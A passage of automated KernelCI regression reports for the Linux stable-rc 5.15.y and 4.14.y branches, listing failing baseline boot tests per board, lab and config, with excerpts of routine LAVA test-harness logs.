Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm/multi_v7…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm/multi_v7…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3c062533d6c23535b202
new failure (last pass: v5.15.126-90-g952b0de2b49f7)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3ce1f267b22f0d35b1ed
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: omap2plus_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm/omap2plu…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm/omap2plu…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3ce1f267b22f0d35b1ee
failing since 22 days (last pass: v5.15.120, first fail: v5.15.122-79-g3bef1500d246a)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3bf61a851d6e8635b324
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm/multi_v7…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm/multi_v7…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd3bf61a851d6e8635b329
failing since 211 days (last pass: v5.15.82-124-gd731c63c25d1, first fail: v5.15.87-101-g5bcc318cb4cd)
2023-08-16T21:13:06.775741 <8>[ 9.904024] <LAVA_SIGNAL_ENDRUN 0_dmesg 3743944_1.5.2.4.1>
2023-08-16T21:13:06.883777 / # #
2023-08-16T21:13:06.987476 export SHELL=/bin/sh
2023-08-16T21:13:06.988421 #
2023-08-16T21:13:07.090148 / # export SHELL=/bin/sh. /lava-3743944/environment
2023-08-16T21:13:07.091226
2023-08-16T21:13:07.193549 / # . /lava-3743944/environment/lava-3743944/bin/lava-test-runner /lava-3743944/1
2023-08-16T21:13:07.195718
2023-08-16T21:13:07.199995 / # /lava-3743944/bin/lava-test-runner /lava-3743944/1
2023-08-16T21:13:07.288379 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
fsl-ls2088a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3ae16d3a227e6535b1f0
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd3ae16d3a227e6535b1f3
failing since 33 days (last pass: v5.15.67, first fail: v5.15.119-16-g66130849c020f)
2023-08-16T21:08:33.256181 [ 11.373765] EDAC FSL_DDR MC1: Expected Data / ECC: 0x52800022_54dff921 / 0x8000000e
2023-08-16T21:08:33.261743 [ 11.389757] EDAC FSL_DDR MC1: Captured Data / ECC: 0x52a00022_54fff921 / 0x0e
2023-08-16T21:08:33.267316 [ 11.396885] EDAC FSL_DDR MC1: Err addr: 0x00f36800
2023-08-16T21:08:33.272862 [ 11.401668] EDAC FSL_DDR MC1: PFN: 0x00000f36
2023-08-16T21:08:33.283992 [ 11.406017] EDAC MC1: 1 CE fsl_mc_err on mc#1csrow#0channel#0 (csrow:0 channel:0 page:0xf36 offset:0x800 grain:8 syndrome:0xe)
2023-08-16T21:08:33.289506 + set +x[ 11.417456] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244309_1.5.2.4.1>
2023-08-16T21:08:33.289759
2023-08-16T21:08:33.295089 [ 11.423774] EDAC FSL_DDR MC1: Err Detect Register: 0x00000004
2023-08-16T21:08:33.300669 [ 11.429517] EDAC FSL_DDR MC1: Faulty Data bit: 53
2023-08-16T21:08:33.306221 [ 11.434212] EDAC FSL_DDR MC1: Expected Data / ECC: 0x52800022_54dff921 / 0x8000000e
... (52 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3ae742e34bdfe935b31e
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd3ae742e34bdfe935b321
failing since 166 days (last pass: v5.15.79, first fail: v5.15.98)
2023-08-16T21:08:34.541682 [ 13.991262] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244311_1.5.2.4.1>
2023-08-16T21:08:34.646740
2023-08-16T21:08:34.747909 / # #export SHELL=/bin/sh
2023-08-16T21:08:34.748319
2023-08-16T21:08:34.849290 / # export SHELL=/bin/sh. /lava-1244311/environment
2023-08-16T21:08:34.849699
2023-08-16T21:08:34.950655 / # . /lava-1244311/environment/lava-1244311/bin/lava-test-runner /lava-1244311/1
2023-08-16T21:08:34.951353
2023-08-16T21:08:34.954388 / # /lava-1244311/bin/lava-test-runner /lava-1244311/1
2023-08-16T21:08:34.970315 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd394aee185fbb2335b26a
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd394bee185fbb2335b26f
failing since 140 days (last pass: v5.15.104, first fail: v5.15.104-147-gea115396267e)
2023-08-16T21:01:43.134917 + set +x
2023-08-16T21:01:43.141737 <8>[ 10.364171] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302932_1.4.2.3.1>
2023-08-16T21:01:43.243447 #
2023-08-16T21:01:43.243720
2023-08-16T21:01:43.344330 / # #export SHELL=/bin/sh
2023-08-16T21:01:43.344514
2023-08-16T21:01:43.445098 / # export SHELL=/bin/sh. /lava-11302932/environment
2023-08-16T21:01:43.445267
2023-08-16T21:01:43.545831 / # . /lava-11302932/environment/lava-11302932/bin/lava-test-runner /lava-11302932/1
2023-08-16T21:01:43.546072
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3866c1c5f92fef35b1f4
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd3866c1c5f92fef35b1f9
failing since 140 days (last pass: v5.15.104, first fail: v5.15.104-147-gea115396267e)
2023-08-16T20:58:03.356450 + set<8>[ 10.929951] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302930_1.4.2.3.1>
2023-08-16T20:58:03.356961 +x
2023-08-16T20:58:03.464277 / # #
2023-08-16T20:58:03.566711 export SHELL=/bin/sh
2023-08-16T20:58:03.567714 #
2023-08-16T20:58:03.669201 / # export SHELL=/bin/sh. /lava-11302930/environment
2023-08-16T20:58:03.669970
2023-08-16T20:58:03.771479 / # . /lava-11302930/environment/lava-11302930/bin/lava-test-runner /lava-11302930/1
2023-08-16T20:58:03.772877
2023-08-16T20:58:03.777959 / # /lava-11302930/bin/lava-test-runner /lava-11302930/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3865c1c5f92fef35b1e6
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/x86_64/x86_6…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd3865c1c5f92fef35b1eb
failing since 140 days (last pass: v5.15.104, first fail: v5.15.104-147-gea115396267e)
2023-08-16T20:57:57.777520 + set<8>[ 12.283414] <LAVA_SIGNAL_ENDRUN 0_dmesg 11302949_1.4.2.3.1>
2023-08-16T20:57:57.777604 +x
2023-08-16T20:57:57.881952 / # #
2023-08-16T20:57:57.982633 export SHELL=/bin/sh
2023-08-16T20:57:57.982879 #
2023-08-16T20:57:58.083428 / # export SHELL=/bin/sh. /lava-11302949/environment
2023-08-16T20:57:58.083634
2023-08-16T20:57:58.184211 / # . /lava-11302949/environment/lava-11302949/bin/lava-test-runner /lava-11302949/1
2023-08-16T20:57:58.184564
2023-08-16T20:57:58.188896 / # /lava-11302949/bin/lava-test-runner /lava-11302949/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3a5a186a864acb35b1fb
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd3a5a186a864acb35b200
failing since 28 days (last pass: v5.15.120-274-g478387c57e172, first fail: v5.15.120)
2023-08-16T21:07:56.149215 / # #
2023-08-16T21:07:56.251556 export SHELL=/bin/sh
2023-08-16T21:07:56.252325 #
2023-08-16T21:07:56.353741 / # export SHELL=/bin/sh. /lava-11303076/environment
2023-08-16T21:07:56.354526
2023-08-16T21:07:56.455892 / # . /lava-11303076/environment/lava-11303076/bin/lava-test-runner /lava-11303076/1
2023-08-16T21:07:56.457223
2023-08-16T21:07:56.472710 / # /lava-11303076/bin/lava-test-runner /lava-11303076/1
2023-08-16T21:07:56.522726 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T21:07:56.523252 + cd /lav<8>[ 15.916352] <LAVA_SIGNAL_STARTRUN 1_bootrr 11303076_1.5.2.4.5>
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3a6f9625068fde35b1d9
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd3a6f9625068fde35b1de
failing since 28 days (last pass: v5.15.120-274-g478387c57e172, first fail: v5.15.120)
2023-08-16T21:06:34.506928 / # #
2023-08-16T21:06:35.586928 export SHELL=/bin/sh
2023-08-16T21:06:35.588701 #
2023-08-16T21:06:37.078724 / # export SHELL=/bin/sh. /lava-11303081/environment
2023-08-16T21:06:37.080489
2023-08-16T21:06:39.804456 / # . /lava-11303081/environment/lava-11303081/bin/lava-test-runner /lava-11303081/1
2023-08-16T21:06:39.806727
2023-08-16T21:06:39.815124 / # /lava-11303081/bin/lava-test-runner /lava-11303081/1
2023-08-16T21:06:39.877550 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T21:06:39.878046 + cd /lava-113030<8>[ 25.491057] <LAVA_SIGNAL_STARTRUN 1_bootrr 11303081_1.5.2.4.5>
... (39 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
--------------------------+--------+---------------+----------+------------------------------+------------
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3a6db2e6eeee6735b2b4
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-5.15.y/v5.15.127/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd3a6db2e6eeee6735b2b9
failing since 28 days (last pass: v5.15.120-274-g478387c57e172, first fail: v5.15.120)
2023-08-16T21:08:09.854464 / # #
2023-08-16T21:08:09.955025 export SHELL=/bin/sh
2023-08-16T21:08:09.955173 #
2023-08-16T21:08:10.055634 / # export SHELL=/bin/sh. /lava-11303071/environment
2023-08-16T21:08:10.055791
2023-08-16T21:08:10.156390 / # . /lava-11303071/environment/lava-11303071/bin/lava-test-runner /lava-11303071/1
2023-08-16T21:08:10.157385
2023-08-16T21:08:10.163145 / # /lava-11303071/bin/lava-test-runner /lava-11303071/1
2023-08-16T21:08:10.230138 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T21:08:10.230583 + cd /lava-1130307<8>[ 16.788066] <LAVA_SIGNAL_STARTRUN 1_bootrr 11303071_1.5.2.4.5>
... (10 line(s) more)
2 years, 4 months
- 1
- 0
stable-rc/linux-4.14.y baseline: 91 runs, 18 regressions (v4.14.323)
by kernelci.org bot
stable-rc/linux-4.14.y baseline: 91 runs, 18 regressions (v4.14.323)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/job/stable-rc/branch/linux-4.14.y/kernel/v4.14.32…
Test: baseline
Tree: stable-rc
Branch: linux-4.14.y
Describe: v4.14.323
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: 80b73c056d2076d12f9e50c753bb440fc79f30c9
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd39ef67eb5aab5535b1ff
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd39ef67eb5aab5535b200
failing since 358 days (last pass: v4.14.266-45-gce409501ca5f, first fail: v4.14.290-230-g4d54ef55c38e)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3b58a44dcbfeb035b233
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3b58a44dcbfeb035b234
failing since 366 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.290-154-gc3e4c291190ba)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd39cf7cf481e43735b282
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd39cf7cf481e43735b283
failing since 358 days (last pass: v4.14.266-45-gce409501ca5f, first fail: v4.14.290-230-g4d54ef55c38e)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3b237040c9dfc235b210
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3b237040c9dfc235b211
failing since 366 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.290-154-gc3e4c291190ba)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3a1785ab97bc2435b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3a1785ab97bc2435b1da
failing since 380 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.289-48-gdea72dca89ea9)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3b57a44dcbfeb035b230
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3b57a44dcbfeb035b231
failing since 347 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.291-43-g3eabc273fb308)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd39d067eb5aab5535b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd39d067eb5aab5535b1da
failing since 380 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.289-48-gdea72dca89ea9)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3a6f624defef5a35b1db
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3a6f624defef5a35b1dc
failing since 347 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.291-43-g3eabc273fb308)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd3a03f324a9532a35b217
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3a03f324a9532a35b218
failing since 358 days (last pass: v4.14.266-45-gce409501ca5f, first fail: v4.14.290-230-g4d54ef55c38e)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3a29bbf664e85735b1dc
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3a29bbf664e85735b1dd
failing since 464 days (last pass: v4.14.277-55-gfb8b8dfe0168, first fail: v4.14.277-71-geacdf1a71409)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd39cf97add19c0335b1f3
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd39cf97add19c0335b1f4
failing since 358 days (last pass: v4.14.266-45-gce409501ca5f, first fail: v4.14.290-230-g4d54ef55c38e)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd3a5b186a864acb35b206
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323/arm64/defcon…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd3a5b186a864acb35b207
failing since 464 days (last pass: v4.14.277-55-gfb8b8dfe0168, first fail: v4.14.277-71-geacdf1a71409)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
